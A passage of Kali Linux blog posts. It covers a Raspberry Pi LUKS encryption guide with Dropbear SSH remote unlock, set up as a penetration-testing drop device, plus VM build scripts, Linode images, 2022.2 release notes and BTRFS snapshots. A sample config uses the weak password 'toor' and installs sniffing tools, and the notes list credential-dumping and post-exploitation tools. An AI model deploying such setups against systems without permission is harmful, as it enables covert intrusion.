When using encrypted partitions, we need to edit, or create, if it doesn’t exist, the /etc/crypttab file, which is used by cryptsetup to know what options are needed in order to unlock the encrypted device.

Because this file doesn’t exist, we will create the /etc/crypttab file, and fill it with the options we need:

┌──(root㉿kali)-[/]
└─# echo -e 'crypt\tPARTUUID=ed889dad-02\tnone\tluks' > /etc/crypttab

Now we do a little file-system trickery. We create a fake LUKS file-system which will allow cryptsetup to be included in the initramfs because it sees an encrypted partition. When you format any LUKS partitions, you will be prompted for a password, and while normally you will use a strong password, because we are only using this as a hack to include cryptsetup into our initramfs, the password you create at this prompt will not be needed or used past these steps, so you can set it to something short/quick to type. This will happen at the cryptsetup luksFormat step, and you will be prompted for the password you set during cryptsetup luksFormat when you run the cryptsetup luksOpen step.

You will not see any input being typed when entering the password

┌──(root㉿kali)-[/]
└─# dd if=/dev/zero of=/tmp/fakeroot.img bs=1M count=20
┌──(root㉿kali)-[/]
└─# exit
$ sudo cryptsetup luksFormat /mnt/chroot/tmp/fakeroot.img
$ sudo cryptsetup luksOpen /mnt/chroot/tmp/fakeroot.img crypt
$ sudo mkfs.ext4 /dev/mapper/crypt

Configuring SSH keys

After that we need to copy over OR generate a new ssh key to be added to Dropbear’s authorized_keys file.

If we already have an existing key to copy over:

$ sudo cp ~/.ssh/id_rsa.pub /mnt/chroot/

Alternatively to generate a new key:

$ ssh-keygen -t rsa -b 4096
[...]
Enter file in which to save the key (/home/kali/.ssh/id_rsa): /home/kali/.ssh/id_rsa_dropbear
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_rsa_dropbear
Your public key has been saved in /home/kali/.ssh/id_rsa_dropbear.pub
[...]
$ sudo cp ~/.ssh/id_rsa_dropbear.pub /mnt/chroot/

You will not see any input being typed when entering a passphrase

Configuring for encryption

Going back into the chroot, we need to create a few new files.

First is the zz-cryptsetup hook which adds the files we need for cryptsetup into the initramfs. For it to work, it needs to be marked as executable so that mkinitramfs will run the hook:

$ sudo env LANG=C chroot /mnt/chroot/
┌──(root㉿kali)-[/]
└─# vim /etc/initramfs-tools/hooks/zz-cryptsetup
┌──(root㉿kali)-[/]
└─# cat /etc/initramfs-tools/hooks/zz-cryptsetup
#!/bin/sh
set -e
PREREQ=""
prereqs()
{
echo "${PREREQ}"
}
case "${1}" in
prereqs)
prereqs
exit 0
;;
esac
. /usr/share/initramfs-tools/hook-functions
mkdir -p ${DESTDIR}/cryptroot || true
cat /etc/crypttab >> ${DESTDIR}/cryptroot/crypttab
cat /etc/fstab >> ${DESTDIR}/cryptroot/fstab
cat /etc/crypttab >> ${DESTDIR}/etc/crypttab
cat /etc/fstab >> ${DESTDIR}/etc/fstab
copy_file config /etc/initramfs-tools/unlock.sh /etc/unlock.sh
┌──(root㉿kali)-[/]
└─# chmod +x /etc/initramfs-tools/hooks/zz-cryptsetup

Should you wish to disable it at any point in the future for any reason, simply remove the executable bit.

We edit the modules file for initramfs-tools so that we include the dm-crypt module, and cat the file to verify it is correct:

┌──(root㉿kali)-[/]
└─# grep -q dm_crypt /etc/initramfs-tools/modules || echo dm_crypt >> /etc/initramfs-tools/modules
┌──(root㉿kali)-[/]
└─# cat /etc/initramfs-tools/modules
# List of modules that you want to include in your initramfs.
# They will be loaded at boot time in the order below.
#
# Syntax: module_name [args ...]
#
# You must run update-initramfs(8) to effect this change.
#
# Examples:
#
# raid1
# sd_mod
dm_crypt

Configuring remote SSH unlock

Create an unlock.sh script with the following contents, and then mark it as executable so that the script runs in the initramfs:

┌──(root㉿kali)-[/]
└─# vim /etc/initramfs-tools/unlock.sh
┌──(root㉿kali)-[/]
└─# cat /etc/initramfs-tools/unlock.sh
#!/bin/sh
export PATH='/sbin:/bin:/usr/sbin:/usr/bin'
while true; do
test -e /dev/mapper/crypt && break || cryptsetup luksOpen /dev/disk/by-uuid/$REPLACE_LATER crypt
done
/scripts/local-top/cryptroot
for i in $(ps aux | grep 'cryptroot' | grep -v 'grep' | awk '{print $1}'); do kill -9 $i; done
for i in $(ps aux | grep 'askpass' | grep -v 'grep' | awk '{print $1}'); do kill -9 $i; done
for i in $(ps aux | grep 'ask-for-password' | grep -v 'grep' | awk '{print $1}'); do kill -9 $i; done
for i in $(ps aux | grep '\\-sh' | grep -v 'grep' | awk '{print $1}'); do kill -9 $i; done
exit 0
┌──(root㉿kali)-[/]
└─# chmod +x /etc/initramfs-tools/unlock.sh

Next we must add the following to the beginning of /etc/dropbear/initramfs/authorized_keys, which tells it to run this command when we SSH in if the key matches:

┌──(root㉿kali)-[/]
└─# vim /etc/dropbear/initramfs/authorized_keys
┌──(root㉿kali)-[/]
└─# cat /etc/dropbear/initramfs/authorized_keys
command="/etc/unlock.sh; exit"

After doing so, we can append the SSH key that we copied over and then remove it from the card:

┌──(root㉿kali)-[/]
└─# cat id_rsa.pub >> /etc/dropbear/initramfs/authorized_keys && rm -v id_rsa.pub

Once you’re done, /etc/dropbear/initramfs/authorized_keys should look like this:

┌──(root㉿kali)-[/]
└─# cat /etc/dropbear/initramfs/authorized_keys
command="/etc/unlock.sh; exit" ssh-rsa <key> kali@kali

Everything in the authorized_keys file should be one line, as well as a space between the command’s ending " and the ssh key (e.g. [...]exit" ssh-rsa[...])

We now need to edit /usr/share/initramfs-tools/scripts/init-premount/dropbear to add a sleep timer, this allows for networking to start before Dropbear does. It is important to note that when there are updates to the dropbear-initramfs package, this edit will need to be re-added:

┌──(root㉿kali)-[/]
└─# vim /usr/share/initramfs-tools/scripts/init-premount/dropbear
┌──(root㉿kali)-[/]
└─# cat /usr/share/initramfs-tools/scripts/init-premount/dropbear
[ "$BOOT" != nfs ] || configure_networking
sleep 5
run_dropbear &
echo $! >/run/dropbear.pid

Now we enable cryptsetup:

┌──(root㉿kali)-[/]
└─# echo CRYPTSETUP=y >> /etc/cryptsetup-initramfs/conf-hook
┌──(root㉿kali)-[/]
└─# tail /etc/cryptsetup-initramfs/conf-hook
#
# Whether to include the askpass binary to the initramfs image. askpass
# is required for interactive passphrase prompts, and ASKPASS=y (the
# default) is implied when the hook detects that same device needs to be
# unlocked interactively (i.e., not via keyfile nor keyscript) at
# initramfs stage. Setting ASKPASS=n also skips `cryptroot-unlock`
# inclusion as it requires the askpass executable.
#ASKPASS=y
CRYPTSETUP=y

Kernel

The next step is important for the people who are following along. What to select, depends on the RPi device you are using, will . Below are five kernel names/editions/flavours which you need to select one of for your needs (please pay attention!):

Re4son+ is for 32-bit ARMEL armv6 devices - i.e. RPi1, RPi0, or RPi0w
Re4son-v7+ is for 32-bit ARMHF armv7 devices - i.e. RPi2 v1.2, RPi3 or RPi02w
Re4son-v8+ is for 64-bit ARM64 armv8 devices - i.e. RPi2 v1.2, RPi3 or RPi02w
Re4son-v7l+ is for 32-bit ARMHF armv7 devices - i.e. RPi4 or RPi400 devices
Re4son-v8l+ is for 64-bit ARM64 armv8 devices - i.e. RPi4 or RPi400 devices

The l in the name stands for lpae - Large Physical Address Extension

As a reminder, we are using the RPi4, 64-bit image. So we would need Re4son-v8l+. Please make sure you adjust to your device. So now we know what kernel name to use, we now need to find what kernel version. This will alter from device to device, and it will also change as and when Kali gets updates At the time of writing, it is 5.15.44 for our RPi:

Keep in mind the kernel versions may change, however the name will not:

┌──(root㉿kali)-[/]
└─# ls -l /lib/modules/ | awk -F" " '{print $9}'
5.15.44-Re4son+
5.15.44-Re4son-v7+
5.15.44-Re4son-v7l+
5.15.44-Re4son-v8+
5.15.44-Re4son-v8l+
┌──(root㉿kali)-[/]
└─# echo "initramfs initramfs.gz followkernel" >> /boot/config.txt

Keep in mind the kernel versions (5.15.44) may change, however the kernel name (Re4son-v8l+) will not.

Now we need to create the initramfs. This is where the kernel version comes into play:

┌──(root㉿kali)-[/]
└─# mkinitramfs -o /boot/initramfs.gz 5.15.44-Re4son-v8l+

Now we want to ensure that we created the initramfs correctly. If there is no result, then something went wrong:

┌──(root㉿kali)-[/]
└─# lsinitramfs /boot/initramfs.gz | grep cryptsetup
usr/lib/aarch64-linux-gnu/libcryptsetup.so.12
usr/lib/aarch64-linux-gnu/libcryptsetup.so.12.7.0
usr/lib/cryptsetup
usr/lib/cryptsetup-nuke-password
usr/lib/cryptsetup-nuke-password/crypt
usr/lib/cryptsetup/askpass
usr/lib/cryptsetup/askpass.cryptsetup
usr/lib/cryptsetup/functions
usr/sbin/cryptsetup
┌──(root㉿kali)-[/]
└─# lsinitramfs /boot/initramfs.gz | grep authorized
root-Q2iWOODUwk/.ssh/authorized_keys
┌──(root㉿kali)-[/]
└─# lsinitramfs /boot/initramfs.gz | grep unlock.sh
etc/unlock.sh

Disable services

Before we can backup, we have to ensure that rpi-resizerootfs is disabled. This is a service we typically run on all of our ARM devices that resizes the root filesystem partition to increase the size of the partition to the full size of the storage device it is on. Since we are doing this step manually, we want to disable it, so it doesn’t potentially delete our root filesystem and re-make it:

┌──(root㉿kali)-[/]
└─# systemctl disable rpi-resizerootfs

Backup any existing data

Now we can ensure that all the changes are written, then we can encrypt the disk:

┌──(root㉿kali)-[/]
└─# sync
┌──(root㉿kali)-[/]
└─# exit
$ sudo umount /mnt/chroot/{boot,sys,proc,dev/pts,dev}
$ sudo mkdir -vp /mnt/{backup,encrypted}
$ sudo rsync -avh /mnt/chroot/* /mnt/backup/
$ sudo cryptsetup luksClose crypt
$ sudo umount /mnt/chroot
$ echo -e "d\n2\nw" | sudo fdisk /dev/sdX
$ echo -e "n\np\n2\n\n\nw" | sudo fdisk /dev/sdX

Configure the encrypted partitions

Depending on what device you are using you will have to use one of two commands. If you are using a RPi4 with 4GB or more, use this command:

$ sudo cryptsetup -v -y --cipher aes-cbc-essiv:sha256 --key-size 256 luksFormat /dev/sdX2

Otherwise you will want to use the following which uses an older version of LUKS:

$ sudo cryptsetup -v -y --pbkdf pbkdf2 --cipher aes-cbc-essiv:sha256 --key-size 256 luksFormat /dev/sdX2

Restore our data

Afterwards you can finish restoring data back to the now encrypted partition:

$ sudo cryptsetup -v luksOpen /dev/sdX2 crypt
$ sudo mkfs.ext4 /dev/mapper/crypt
$ sudo mount /dev/mapper/crypt /mnt/encrypted/
$ sudo rsync -avh /mnt/backup/* /mnt/encrypted/
$ sync

The final steps that we have to make are to fix up the /etc/fstab file for the new LUKS UUID, or you can leave it as /dev/mapper/crypt and replace the UUID in our unlock script and remake the initramfs file, this step is important as it will not properly boot if not done, because it won’t have the information to use the encrypted filesystem! Remember to put the information in from YOUR system, as the UUID will be different for every system:

$ sudo mount /dev/sdX1 /mnt/encrypted/boot/
$ sudo mount -t proc none /mnt/encrypted/proc
$ sudo mount -t sysfs none /mnt/encrypted/sys
$ sudo mount -o bind /dev /mnt/encrypted/dev
$ sudo mount -o bind /dev/pts /mnt/encrypted/dev/pts
$ sudo env LANG=C chroot /mnt/encrypted
┌──(root㉿kali)-[/]
└─# blkid /dev/sdX2
/dev/sdX2: UUID="173e2de4-0501-4d8e-9039-a4923bfa5ee7" TYPE="crypto_LUKS" PARTUUID="e1750e08-02"
┌──(root㉿kali)-[/]
└─# cat /etc/fstab
# <file system> <mount point> <type> <options> <dump> <pass>
proc /proc proc defaults 0 0
UUID=173e2de4-0501-4d8e-9039-a4923bfa5ee7 / ext4 errors=remount-ro 0 1
LABEL=BOOT /boot vfat defaults 0 2
┌──(root㉿kali)-[/]
└─# vim /etc/initramfs-tools/unlock.sh
┌──(root㉿kali)-[/]
└─# cat /etc/initramfs-tools/unlock.sh
#!/bin/sh
export PATH='/sbin:/bin:/usr/sbin:/usr/bin'
while true; do
test -e /dev/mapper/crypt && break || cryptsetup luksOpen /dev/disk/by-uuid/173e2de4-0501-4d8e-9039-a4923bfa5ee7 crypt
done
/scripts/local-top/cryptroot
for i in $(ps aux | grep 'cryptroot' | grep -v 'grep' | awk '{print $1}'); do kill -9 $i; done
for i in $(ps aux | grep 'askpass' | grep -v 'grep' | awk '{print $1}'); do kill -9 $i; done
for i in $(ps aux | grep 'ask-for-password' | grep -v 'grep' | awk '{print $1}'); do kill -9 $i; done
for i in $(ps aux | grep '\\-sh' | grep -v 'grep' | awk '{print $1}'); do kill -9 $i; done
exit 0
┌──(root㉿kali)-[/]
└─# vim /etc/crypttab
┌──(root㉿kali)-[/]
└─# cat /etc/crypttab
crypt PARTUUID=e1750e08-02 none luks
┌──(root㉿kali)-[/]
└─# mkinitramfs -o /boot/initramfs.gz 5.15.44-Re4son-v8l+

If you get a cryptsetup error here, similar to cryptsetup: ERROR: Couldn't resolve device PARTUUID=ed889dad-02 that means that you did not edit the /etc/crypttab file and put the correct PARTUUID in. The warning about no fsck.luks existing can be ignored, as there is no such thing.

Now we can unmount and close up everything:

┌──(root㉿kali)-[/]
└─# exit
$ sudo umount /mnt/encrypted/{boot,sys,proc,dev/pts,dev}
$ sudo umount /mnt/encrypted
$ sudo cryptsetup luksClose crypt

Earlier, we mentioned the LUKS Nuke capability. If you plan to use it, while booted on your freshly encrypted RPi rootfs, simply run the following command to add the Nuke password and follow the prompt:

kali@kali:~$ sudo dpkg-reconfigure cryptsetup-nuke-password

Stay tuned for part two where we cover remotely connecting to the Raspberry Pi as a dropbox device!

Automate!

Now how about we get this automated? Thanks to Richard Nelson (@unixabg), anyone who wants to get this all set up in much less time than the manual method and much easier, can!

First things first, let’s download unixabg’s cryptmypi script:

$ git clone https://github.com/unixabg/cryptmypi.git
$ cd cryptmypi/

There are a number of things we want to do before we can run the build scripts however. Let’s go through those together now:

$ cp cryptmypi.conf config/.
$ cat ~/.ssh/id_rsa.pub >> config/authorized_keys

Now we need to edit cryptmypi.conf to change some settings in stage-2. These settings will be personal, but let’s just give you all an example:

$ vim config/cryptmypi.conf
$ cat config/cryptmypi.conf
##################
## cryptmypi settings
##################
# export prefix for hooks
export _VER="2.2-beta"
# base and build
export _BASEDIR=$(pwd)
export _BUILDDIR=${_BASEDIR}/cryptmypi-build
##################
## Stage-1
##################
_IMAGEURL=https://kali.download/arm-images/kali-2022.2/kali-linux-2022.2-raspberry-pi-arm64.img.xz
# compose package actions
export _PKGSPURGE=""
export _PKGSINSTALL=""
# iodine settings
_IODINE_PASSWORD="your iodine password goes here"
_IODINE_DOMAIN="your iodine domain goes here"
# final package actions
export _FINALPKGPURGE=""
export _FINALPKGINSTALL="telnet dsniff bettercap"
##################
## Stage-2
##################
# block device
_BLKDEV="/dev/sdb"
# luks encryption cipher
_LUKSCIPHER="aes-cbc-essiv:sha256"
# luks encryption password
_LUKSPASSWD="toor"
# root password
export _ROOTPASSWD="toor"

What we changed here is the block device, LUKS encryption password, and the root password. The image URL can be changed if you would like to use a different image file, so be sure to do that now if need be.

Now the only thing left to do is run both stages’ scripts and follow the instructions. By the end of it, you’ll have a fully encrypted file-system with Dropbear SSH access!

Weekly Virtual Machines, with Build Scripts

Thu, 21 Jul 2022 00:00:00 +0000

We have always made all our build-scripts public. These are the same set of tools which we use to generate Kali Linux (for each release, or our weekly images). You may have noticed that previously there wasn’t anything about Virtual Machines (VMs). This is because until recently it was a manually done process, which followed our guides (VMware & VirtualBox). We have now upped our DevOps game, and automated the build process! Enter build-scripts/Kali-VM.

Another positive outcome of this is that it allows us to generate weekly VMs now! These images are more up-to-date, meaning less packages need updates out of the box, but the only set of tests run are the automated ones. Our release images have an additional set of Quality Assurance (QA) smoke-tests run against them, with the knowledge of last-snapshot, meaning the packages are in a known state. You have a choice: Stable vs updates!

Let’s start with a quick introduction to the weekly VMs, then we’ll have a glimpse at the Kali-VM build script.

Weekly Kali VMs

You can find these Kali images in the Virtual Machines section of Get Kali. Scroll down a bit, they are just there. At the moment we have weekly images for VMware and VirtualBox.

The VMware weekly image will be no surprise for those who already use the quaterly Kali VMware images: it’s pretty much identical, except that it’s built from the kali-rolling branch. In order to use it you just need to import it in VMware.

However, the VirtualBox weekly image is published in a different format than the one we use for Kali releases. For various reasons, we decided to distribute it in the “native” VirtualBox format, that is: a VDI disk and a .vbox metadata file. Fear not though, because importing this VM in VirtualBox is super easy. If you’re already a user of the VirtualBox image, we’d love to hear your feedback on this new image! Feel free to drop us a word on the Kali-VM GitLab repository.

The Kali-VM build script

For the most demanding users, here’s the good news: we published the build script to generate those images! If you are wondering “Cool, but what can I do with Your Kali-VM repository,” a feature highlight (for the time being):

Create VMs for VMware, VirtualBox, QEMU or a single VM which works with all three (aka “generic”)
Create VMs for x64 and x86 (sorry, no ARM64 at this point in time!)
Create the VMs directly on the host or in a container (Docker or Podman)
Select as many (or as little!) tools/metapackages you wish to be included
Configure your locale, timezone, username and password

The build script is stable enough that we are using it in production, but its still early days. As a result, there is a roadmap of features we would like to add:

ARM64 support
Hyper-V support
Hook support (allowing you to customize Kali’s settings, such as changing preferences or altering the wallpaper)
Many more ideas!

If the above sounds great to you, we would love a hand adding it! We are gladly encouraging merge requests! If you find a bug, great! Let us know as well =)

Now if you are wondering “Okay, this is pretty cool. How do I get started?” please take a look at the README. This will give you a basic idea of what requirements are needed, and how to get started. Then its just a case of looking at the help screen, and customizing the arguments to your needs!

Want some examples to get you going?

$ ./build.sh -v vmware
$ ./build.sh -v virtualbox -a i386 -D kde
$ ./build.sh -v virtualbox -b kali-last-snapshot -D gnome -T everything
$ ./build.sh -v qemu -D none -T none -P nmap,sqlmap

Happy hacking

Kali Linux in Linode's Cloud

Fri, 08 Jul 2022 00:00:00 +0000

A few months ago, Linode reached out to us asking “What would be needed in order to get Kali added to Linode?”. We explained to them how all the build-scripts that we used to create Kali are public, and what their different options and configurations mean. They went away and came back shortly with an image for us to try out! After a bit of testing, we can now say “Kali is in Linode… (Twice)”!

Twice? You can get Kali two ways. Either:

Create a new Linode and select Kali as the Distribution. This gives you a bare install of Kali without any tools.
Alternatively, go to Linode’s marketplace, and select Kali, and scroll down…

Using Linode’s marketplace allows you to customize your Kali installation directly in the web browser! You will be asked a series of questions allowing you to personalize the installation, without having to SSH in, such as as “which metapackages to install (none, default, or everything)” or “do you want GUI access (via VNC)”? That’s pretty cool right?!

Which option is best? That depends on you. Some people like to have a bare install, without any tools, and as little packages as possible. You can install whichever package you want. This will reduce the running cost of the cloud instance and help you understand your system environment better. However, if you want to get going as quickly as possible, or be in a more familiar graphical environment (using Xfce), then the market place option may be better!

Kali is free in Linode’s marketplace, the only cost is the running cost of a Cloud instance. How much is that? That depends on the system requirements you pick! There aren’t any extra changes for using Kali.

What’s the username/password to connect? That depends! The username will be root (by default), and the password will be what you set during setup. You can also use SSH keys if you selected one during setup also. If you installed via the marketplace, you can also use VNC details you entered.

It goes without saying, also make sure you have permission. Make sure to read the Linode’s small print, read over their security page and open up a Linode ticket if you need it in writing!

If you want more to read, check Linode’s blog post, Linode’s documentation, as well as Kali’s documentation.

Happy Hacking!

Kali Linux 2022.2 Release (GNOME 42, KDE 5.24 & hollywood-activate)

Mon, 16 May 2022 00:00:00 +0000

It’s that time of year again, time for another Kali Linux release! Quarter #2 - Kali Linux 2022.2. This release has various impressive updates, all of which are ready for immediate download or updating.

The summary of the changelog since the 2022.1 release from February 2022 is:

GNOME 42 - Major release update of the popular desktop environment
KDE Plasma 5.24 - Version bump with a more polished experience
Multiple desktop enhancements - Disabled motherboard beep on Xfce, alternative panel layout for ARM, better support for VirtualBox shared folders, and lots more
Tweaks for the terminal - Enhanced Zsh syntax-highlighting, inclusion of Python3-pip and Python3-virtualenv by default
April fools - Hollywood mode - Awesome screensaver
Kali Unkaputtbar - BTRFS snapshot support for Kali
Win-KeX 3.1 - sudo support for GUI apps
New tools - Various new tools added
WPS attacks in Kali NetHunter - Added WPS attacks tab to the NetHunter app

GNOME 42

Like for every (almost) half-year, there is a new version bump for the GNOME desktop environment. Kali 2022.2 brings the new version, GNOME 42, which is a more polished experienced following the work previously introduced in versions 40 and 41.

The shell theme now includes a more modern look, removing the arrows from the pop-up menus and using more rounded edges. In addition, we’ve upgraded and tweaked the dash-to-dock extension, making it integrate better with the new look and fixing some bugs.

Here is a preview of the upgraded Kali themes for gnome-shell:

Kali-Dark:

Kali-Light:

GNOME 42’s Built-In Screenshot and Screencast Tool

With GNOME 42, there is one new feature that is brighter than all of the others: the screenshot and screen-recording tool. It’s an enormous improvement in terms of user experience. Screenshots are, at the same time, saved to the ~/Pictures/Screenshots/ folder and copied to the clipboard, so the user does not need to find them.

Quick shortcuts to skip the On Screen Display (OSD) dialog:

Window screenshot: Alt + PtrScr
Full-screen screenshot: Shift + PtrScr

KDE Plasma 5.24

This new Plasma release focuses on smoothing out wrinkles, evolving the design, and improving the overall feel and usability of the environment:

Other Desktop Enhancements

Xfce Tweaks

Disable noisy motherboard beep when clicking the logout dialog! Thank you @DavidAlvesWeb!
Configure mousepad (text editor) to add the missing newline at the end of the file (POSIX standard): It was especially problematic if you used the text file in the terminal. Printing two files would show their respective last and first lines joined.
Set the default wallpaper for multi-monitor setups
Fix mouse pointer size to prevent auto-scaling in large displays
New simplified panel layout for arm devices: The layout we generally use for Xfce works perfectly, but it could not fit in undersized displays. This issue was common on ARM devices like the Raspberry Pi, which can use a screen the size of the board. Therefore, we have created an alternative panel layout that gets automatically applied for all ARM-based images. Here is an example of a display with a 800x480 resolution:

This modification also removes the CPU graph widget, not only due to the horizontal space it required, but also because it had a performance hit in low spec ARM devices.

App Icons

It has been some time since the last update of the kali menu. This time the icons for nmap, ffuf, and edb-debugger were improved and updated, and new ones were added for evil-winrm and bloodhound.

Another improvement for the app dashboard is that the programs that include a user interface will now respect the custom icon provided by Kali. Previously, the icon in the app drawer showed the proper image, but once you launched it, the icon hardcoded to the program took preference, usually using a lower quality and pixelated image. This change will only affect KDE and GNOME desktops and, unfortunately, does not work on Xfce. Thankfully, this issue was more noticeable in these desktops, as icons in Xfce’s panel are tiny.

Before:

After:

Automated Copy of Missing Configurations:

Generally, configuration files in Kali are stored outside of the $HOME directory, but some programs do not support this. As a workaround, some config-files need to be copied to the user’s home directory when it gets created.

This method has two issues:

Firstly, if the user removes an important file inside their folder, the system might not behave as expected.
Alternatively, the user will only receive the config-files available the moment it gets created. Therefore, if an OS update or program adds a new file (or modifies and existing), the user will not receive it unless they manually copy it.

With this change, the system will automatically copy any file from /etc/skel found missing in your home folder without replacing the already existing ones (do not worry, your changes will not get overwritten). So if, for example, you remove the Zsh shell configuration file, ~/.zshrc, the next time you log in, the file will be replaced.

VirtualBox Shared Folder Support

If you are using VirtualBox, when a user account is created, it is now automatically added to the vboxsf group by default. This means if you are using VirtualBox, there is now one less step if you want to use shared folders.

Tweaks for the Terminal

Small changes to the Zsh syntax-highlighting colours to improving legibility.
python3-pip and python3-virtualenv are now included by default Kali installations.
Added shell autocompletion for John The Ripper.
All …2john tools (zip2john, 7z2john, pdf2john, etc.) can now be called directly by just typing their name, no need to cd /usr/share/john/ first.
Resource packages (wordlists, windows-resources, powersploit, etc.) now show a much clearer output with colours differentiating the type of file or directory:

Hollywood Activate / Kali Screensaver (April Fools)

Last year for April Fools Day we did our “Kali 4 Kids” joke, which a scarily large number of people took VERY seriously. The number of organizations that contacted us wanting access to Kali 4 Kids was crazy.

This year, instead of celebrating with a joke, we wanted to give everyone something fun.

We have all seen Kali show up in movies and TV shows (like Mr. Robot) over the years. Hacking as shown in popular media, has ranged from really fun to completely absurd, so we saw the opportunity to do a tribute to some of our favourite instances (and get a little nostalgic).

Your browser does not support the video tag.

Even though this project was designed for 1st April it still works as an awesome screensaver. For this reason, we thought it would be a good idea to keep it in our repository so you can install it whenever you want:

Installation:

┌──(kali㉿kali)-[~]
└─$ sudo apt -y install kali-screensaver

You can also install the hollywood-activate command to be able to launch it immediately from the terminal and avoid waiting for the screensaver to launch:

┌──(kali㉿kali)-[~]
└─$ sudo apt -y install hollywood-activate
┌──(kali㉿kali)-[~]
└─$ hollywood-activate

If you want this on macOS or Windows, download the video file, and then use something like:

macOS: SaveHollywood
Windows: videosaver

Kali Unkaputtbar

Last March we introduced the official support for BTRFS snapshotting in Kali Linux. We call it Kali Unkaputtbar! Sounds great, doesn’t it!

Unkaputtbar brings Virtual Machines’ (VMs’) snapshot feature to bare-metal and injects some steroids.

Have you ever wished you could travel back in time after deleting that important customer report or after installing a broken driver (Nvidia?) just before heading into a board meeting? Well, you’d better read on, because now you can!

Features

Boot snapshot
Diff snapshots
Browse snapshots
Additional automatic snapshots

For more information, here you have all the documentation for BTRFS Installation.

Preview of Kali Unkaputtbar in action, showing all the previous snapshots you can choose from the boot menu.

Win-KeX 3.1

This update eliminates a restriction preventing GUI application from being run as root. Now you can start any GUI application with sudo, e.g.

sudo wireshark

New Tools in Kali

It would not be a Kali release if there were not any new tools added! A quick run down of what has been added (to the network repositories):

BruteShark - Network Forensic Analysis Tool (NFAT)
Evil-WinRM - Ultimate WinRM shell
Hakrawler - Web crawler designed for easy, quick discovery of endpoints and assets
Httpx - Fast and multi-purpose HTTP toolkit
LAPSDumper - Dumps LAPS passwords
PhpSploit - Stealth post-exploitation framework
PEDump - Dump Win32 executable files
SentryPeer - SIP peer-to-peer honeypot for VoIP
Sparrow-wifi - Graphical Wi-Fi Analyzer for Linux
wifipumpkin3 - Powerful framework for rogue access points

We want Kali to be able to access and interact with as many different services as possible. We all know that databases often contain juicy information. And MongoDB is no exception. The client has been restored & fixed up. Sorry for the down time!

There have been numerous packages updates as well.

Kali NetHunter Updates

The legendary @yesimxev has added a new WPS Attacks tab to the Kali NetHunter app, which utilizes OneShot to perform various WPS attacks without monitor mode from your internal wireless chip, even from your Kali NetHunter watch!

The TicWatch Pro 3 GPS, LTE, Ultra GPS, Ultra LTEare receiving initial NetHunter support. It features the same functionalities as the TicWatch Pro, except BadUSB. We are Trying Harder to bring you even more for the next release on this watch! In the meantime, all TicWatch Pros are now supported - TicWatch Pro, Pro 2020, Pro 4G/LTE.

Head over to our documentation site for a step-by-step guide on how to install Kali NetHunter on your TicWatch Pro 3 device.

Kali ARM Updates

Raspberry Pi:

Bump kernel to 5.10.103
Bluetooth is fixed, for real this time
Wi-Fi firmware now uses 7.45.206 by default instead of 7.45.154, with nexmon patches applied
Raspberry Pi Zero 2 W is now supported by nexmon
Improvements to the wpa_supplicant.conf handling
Kernel has NVME support built in, instead of module, so Raspberry Pi Compute Modules that use NVMe for their root device will work out of the box
The Raspberry Pi userland is now packaged up for ARM64 instead of built manually at image creation

Pinebook Pro:

Use the Kali kernel and u-boot instead of compiling our own

USB Armory MKII:

Bump to kernel 5.15

Radxa Zero:

Build scripts available for either eMMC or SD Card. Documentation still needs to be written, but loosely follow the instructions on the Radxa Zero wiki

Build Script improvements:

command-not-found and kali-tweaks are included in minimal builds
The base directory is now cleaned up at build completion instead of an empty directory left around

We would also like to give a community shout-out to Syndrowm, who improved wpa_supplicant.conf handling on Raspberry Pi devices - thank you!

Kali Documentation Updates

We’ve pushed a couple of changes to the Kali-Docs during this time as well. One new page that we think Apple silicon users will enjoy, and a sizeable change to another page that will interest any users wishing to access a “Desktop” (aka Graphical User Interface - GUI) from a normally strictly headless instance.

Running x86 on ARM (New)
Accessing Xfce with RDP (Updated)

Download Kali Linux 2022.2

Fresh Images: So what are you waiting for? Start downloading already!

Just know that these are automated builds that we do not QA like we do our standard release images. But we gladly take bug reports about those images because we want any issues to be fixed before our next release!

Existing Installs: If you already have an existing Kali Linux installation, remember you can always do a quick update:

┌──(kali㉿kali)-[~]
└─$ echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" | sudo tee /etc/apt/sources.list
┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt -y full-upgrade
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] && sudo reboot -f

You should now be on Kali Linux 2022.2 We can do a quick check by doing:

┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION="2022.2"
VERSION_ID="2022.2"
VERSION_CODENAME="kali-rolling"
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT Debian 5.16.18-1kali1 (2022-04-01)
┌──(kali㉿kali)-[~]
└─$ uname -r
5.16.0-kali7-amd64

NOTE: The output of uname -r may be different depending on the system architecture.

As always, should you come across any bugs in Kali, please submit a report on our bug tracker. We will never be able to fix what we do not know is broken! And Twitter is not a Bug Tracker!

Want to keep in up-to-date easier? We have a RSS feeds & newsletter of our blog!

Kali Unkaputtbar

Thu, 10 Mar 2022 00:00:00 +0000

Adjective (German)

unkaputtbar (comparative unkaputtbarer, superlative am unkaputtbarsten)

From un- + kaputt + -bar.

(colloquial) indestructible, unbreakable Diese Flasche ist unkaputtbar. ― This bottle is indestructible.

With our 2022.1 release, we promised something big for you bare-metal installers and here it is. With no further ado, we present to you:

Kali Unkaputtbar

Summary: Unkaputtbar brings Virtual Machines’ (VMs’) snapshot feature to bare-metal and injects some steroids.

Have you ever wished you could travel back in time after deleting that important customer report or after installing a broken driver (Nvidia?) just before heading into a board meeting? Well, you better read on, because now you can!

From zero to hero in 30 seconds (You really want to enable video playback in your browser for this):

Your browser does not support the video tag.

All it takes is installing Kali Linux version 2022.1 or newer with btrfs as the file system and to enable snapshotting after installation and you will get:

automatic snapshots with APT installations or removals
automatic snapshots on every boot
automatically created Kali Linux specific btrfs subvolume layout
new boot menu allowing you to boot into snapshots
ability to browse the file content of snapshots and copy files across
perform diffs between snapshots and restore individual files

But don’t take our word for it, see for yourself what Kali Unkaputtbar can do.

Unkaputtbar features

Boot snapshot

Booting into snaphots from the GRUB boot menu:

Diff snapshots

Using snapper to generate diffs between snapshots:

Browse snapshots

You can even browse the content of snapshots:

Additional automatic snapshots

Configuring additional automatic snapshots such as of your home drive takes mere seconds:

Install Unkaputtbar

Can’t wait to get your hands on it? Well don’t ;-)

Download our latest image from here and enable automatic snapshots as described in our dedicated documentation. That page also contains all the essential information to take full advantage of Kali Unkaputtbar.

Special Thanks:

